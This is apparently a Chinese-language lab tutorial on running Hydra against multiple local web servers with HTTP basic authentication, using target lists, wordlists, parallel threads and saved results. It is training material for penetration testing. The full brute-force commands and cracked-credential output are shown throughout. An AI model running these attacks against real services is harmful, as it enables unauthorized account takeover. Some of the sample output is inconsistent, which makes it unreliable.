介绍
在这个实验中,你将学习如何使用 Hydra 工具同时攻击多个目标。该实验重点在于利用 Hydra 的功能,对目标主机列表进行密码破解尝试。
该实验指导你创建包含 IP 地址或主机名的目标列表文件,使用 -M 选项将该文件加载到 Hydra 中,对目标进行并行 HTTP 攻击,最后检查输出以识别成功登录的多台主机。这个实践经验将为你提供使用 Hydra 进行渗透测试和安全审计的实用技能。
创建目标列表文件
本步骤中,你将创建目标列表文件。该文件包含 Hydra 将尝试连接并破解密码的目标 URL 列表。这是任何渗透测试或安全审计场景中的关键步骤。
HTTP 攻击的目标列表文件包含 URL,而不是仅包含 IP 地址。每一行都代表一个需要 HTTP 基本身份验证的目标 Web 服务。在本实验环境中,我们已设置了多个在不同端口上运行且启用基本身份验证的 Apache Web 服务器。
本实验的所有操作都将在 ~/project 目录中执行。
首先,让我们验证我们的测试 Web 服务器是否正在运行:
curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1 curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1 curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1HTTP/1.1 401 Unauthorized HTTP/1.1 401 Unauthorized HTTP/1.1 401 Unauthorized你应该看到 HTTP 响应头,表明服务器正在运行。
创建包含测试 Web 服务器的目标文件:
cd ~/project echo "127.0.0.1:8081" > targets.txt echo "127.0.0.1:8082" >> targets.txt echo "127.0.0.1:8083" >> targets.txt这将创建一个包含三个在本地主机上不同端口运行的 HTTP 服务的目标列表:
- 端口 8081:使用用户
admin和密码password123进行保护 - 端口 8082:使用用户
user和密码secret进行保护 - 端口 8083:使用用户
testuser和密码password进行保护
- 端口 8081:使用用户
验证文件已创建并包含目标:
cat ~/project/targets.txt你应该看到类似的输出:
127.0.0.1:8081 127.0.0.1:8082 127.0.0.1:8083测试其中一个受保护的资源以确认需要身份验证:
curl http://127.0.0.1:8081/你应该看到 HTTP 401 未授权响应,确认需要基本身份验证。
你现在已成功创建了一个名为 targets.txt 的目标列表文件,该文件位于你的 ~/project 目录中,其中包含需要身份验证的 HTTP 服务。此文件将在下一步中用于将目标加载到 Hydra 中。
使用 -M 选项加载目标
本步骤中,你将学习如何使用 -M 选项将你在上一步创建的目标列表文件加载到 Hydra 中。-M 选项指示 Hydra 从文件中读取目标主机列表。当需要测试大量目标时,此选项非常有用。
对于 HTTP 攻击,基本语法如下:
hydra -M <target_file> http-get <path>
其中:
<target_file>是包含目标主机列表的文件路径。http-get指定我们正在使用 GET 请求攻击 HTTP 基本身份验证。<path>是要攻击的 Web 服务器上的路径(例如,/表示根目录)。
让我们构建一个 Hydra 命令,从 targets.txt 文件加载目标并攻击 HTTP 基本身份验证。
创建用于攻击的用户和密码列表:
cd ~/project echo "admin" > users.txt echo "user" >> users.txt echo "testuser" >> users.txt echo "root" >> users.txt这将创建一个用户名列表,其中包含我们配置的实际用户名,以及一个常见的用户名
root。创建密码列表:
echo "password123" > passwords.txt echo "secret" >> passwords.txt echo "password" >> passwords.txt echo "admin" >> passwords.txt echo "123456" >> passwords.txt这将创建一个密码列表,其中包含我们配置的实际密码,以及一些常见的弱密码。
现在,执行 Hydra 命令,从
targets.txt文件加载目标,并尝试破解 HTTP 基本身份验证:hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /预期结果: 你应该看到 Hydra 正在尝试连接所有三个 HTTP 服务,并成功破解每个服务的密码:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的。 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX [DATA] max 16 tasks per 1 server, overall 64 tasks, 60 login tries (l:4/p:5), ~1 try per task [DATA] attacking http-get://127.0.0.1:8081:80/ [DATA] attacking http-get://127.0.0.1:8082:80/ [DATA] attacking http-get://127.0.0.1:8083:80/ [8081][http-get] host: 127.0.0.1 login: admin password: password123 [8082][http-get] host: 127.0.0.1 login: user password: secret [8083][http-get] host: 127.0.0.1 login: testuser password: password 1 of 3 targets completed, 3 valid passwords found Hydra finished.这表明 Hydra 成功找到了所有三个 HTTP 服务的有效凭据。
如果需要,你也可以使用更具体的路径进行测试:
hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html
在本步骤中,你已成功学习如何使用 Hydra 中的 -M 选项从文件中加载目标进行 HTTP 攻击。这是对具有基本身份验证的 Web 服务进行大规模密码破解攻击的基本技能。
运行并行 HTTP 攻击
本步骤中,你将学习如何使用 Hydra 执行并发 HTTP 攻击。并发执行攻击显著加快了破解过程,尤其是在处理多个目标时。Hydra 使用 -t 选项允许你指定要运行的并发任务数量。
-t 选项控制 Hydra 将建立的并发连接数。对于 HTTP 攻击,这特别有效,因为 Web 服务器通常比 SSH 服务更好地处理多个并发连接。
让我们修改之前的 Hydra 命令,以指定线程数来运行 HTTP 攻击。
执行以下 Hydra 命令,使用 8 个线程运行 HTTP 攻击:
cd ~/project hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /在此命令中,
-t 8选项指示 Hydra 使用 8 个并发线程。这意味着 Hydra 将同时尝试连接多个目标,并并行尝试不同的用户名/密码组合。预期输出:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的。 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task [DATA] attacking http-get://127.0.0.1:8081:80/ [DATA] attacking http-get://127.0.0.1:8082:80/ [DATA] attacking http-get://127.0.0.1:8083:80/ [8081][http-get] host: 127.0.0.1 login: admin password: password123 [8082][http-get] host: 127.0.0.1 login: user password: secret [8083][http-get] host: 127.0.0.1 login: testuser password: password 1 of 3 targets completed, 3 valid passwords found Hydra finished.尝试使用不同的
-t选项值。尝试增加线程数,看看它如何影响速度:hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /你可能会注意到,使用更多线程,攻击完成得更快,但确切的时间取决于你系统的性能。
你还可以添加详细输出,以查看有关攻击过程的更多详细信息:
hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /-v标志提供详细输出,显示每次登录尝试,这对于了解 Hydra 正在测试的内容非常有用。为了获得更详细的输出,可以使用
-V(非常详细)选项:hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /
HTTP 攻击的重要考虑事项:
- Web 服务器限制: 大多数 Web 服务器可以处理许多并发连接,这使得 HTTP 攻击通常比其他协议更快。
- 速率限制: 一些 Web 应用程序会实施速率限制,这可能会阻止快速的身份验证尝试。
- 日志记录: Web 服务器通常会记录 HTTP 身份验证尝试,这使得检测更容易。
- SSL/HTTPS: 对于 HTTPS 目标,你将使用
http-get与启用 SSL 的目标一起使用,或使用https-get来明确指定 HTTPS。
在本步骤中,你已成功学习如何使用 Hydra 的 -t 选项运行并发 HTTP 攻击。此技术对于具有基本身份验证的 Web 应用程序特别有效。
检查多主机输出结果
本步骤中,你将学习如何解释 Hydra 在攻击多个 HTTP 目标时产生的输出。Hydra 的输出提供了关于不同 Web 服务的攻击尝试成功或失败的有价值信息。
当 Hydra 成功破解 HTTP 基本身份验证密码时,它会以以下格式显示凭据:
[<端口>][http-get] host: <主机> login: <用户名> password: <密码>
例如:
[8081][http-get] host: 127.0.0.1 login: admin password: password123
这表明 Hydra 成功破解了主机 127.0.0.1 端口 8081 上用户 admin 的 HTTP 基本身份验证,密码为 password123。
让我们分析 HTTP 攻击的输出,并了解不同结果的含义。
再次运行完整的 Hydra 攻击命令,查看完整的输出:
cd ~/project hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /检查详细输出。你应该看到所有三个目标的结果:
预期的完整输出:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的。 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task [DATA] attacking http-get://127.0.0.1:8081:80/ [DATA] attacking http-get://127.0.0.1:8082:80/ [DATA] attacking http-get://127.0.0.1:8083:80/ [8081][http-get] host: 127.0.0.1 login: admin password: password123 [8082][http-get] host: 127.0.0.1 login: user password: secret [8083][http-get] host: 127.0.0.1 login: testuser password: password 1 of 3 targets completed, 3 valid passwords found Hydra finished.为了查看失败尝试的样子,让我们创建一个包含一些无效凭据的场景。创建一个新的密码文件,其中大部分密码都是错误的:
echo "wrongpass" > wrong_passwords.txt echo "badpass" >> wrong_passwords.txt echo "password123" >> wrong_passwords.txt ## 只有一个正确的密码使用详细输出运行 Hydra,查看成功和失败尝试:
hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /你将看到详细输出,显示成功尝试:
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-29 16:22:59 [WARNING] With the -M FILE option you can not specify a server on the commandline. Lets hope you did everything right! [DATA] max 4 tasks per 3 servers, overall 12 tasks, 12 login tries (l:4/p:3), ~3 tries per task [DATA] attacking http-get://(3 targets):80/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [8081][http-get] host: 127.0.0.1 login: admin password: password123 [STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests) [STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests) [STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests) 3 of 3 targets successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-29 16:22:59将结果保存到文件中,以便以后分析:
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt检查结果文件:
cat hydra_results.txt
如何解释 HTTP 攻击结果:
- 成功攻击: 以
[端口][http-get]开头的行显示成功发现的凭据。 - 目标信息: 每个成功结果显示确切的主机、端口、用户名和密码。
- 摘要统计: 最终行显示攻击了多少个目标以及找到了多少个有效密码。
- 失败尝试: 使用详细模式,你可以看到每次失败的登录尝试。
- 输出文件: 使用
-o将仅成功结果保存到文件中,以便轻松分析。
与其他协议的关键区别:
- HTTP 攻击在结果中清晰地显示端口号。
- 响应时间通常比 SSH 攻击更快。
- 同一个服务器上的多个身份验证领域将显示为不同的目标。
- HTTP 状态码(例如 401、403)提供了有关失败的额外上下文。
在本步骤中,你学习了如何解释 Hydra 在攻击多个 HTTP 目标时的输出,理解成功尝试和失败尝试之间的区别,以及保存结果进行分析。这些知识对于有效的 Web 应用程序安全测试至关重要。
总结
在本实验中,你学习了如何使用 Hydra 对多个目标进行攻击,以针对具有基本身份验证的 HTTP 服务。你创建了一个目标列表文件,其中包含多个运行在不同端口上的 Web 服务器,每个服务器都使用不同的用户名和密码组合进行基本身份验证保护。
你了解了如何使用 -M 选项从文件中加载多个目标,从而高效地同时攻击众多 Web 服务。该实验演示了如何使用 -t 选项控制并发线程以加快 HTTP 攻击速度,并且你学习了如何解释 Hydra 的输出,以识别跨多个目标的成功身份验证尝试。
这种方法对于 Web 应用程序安全测试尤其有价值,在测试多个服务、虚拟主机或 Web 服务器上不同路径的基本身份验证时,这种方法非常有用。你学习的技术为在容器化环境中进行全面的 Web 应用程序安全评估奠定了基础。


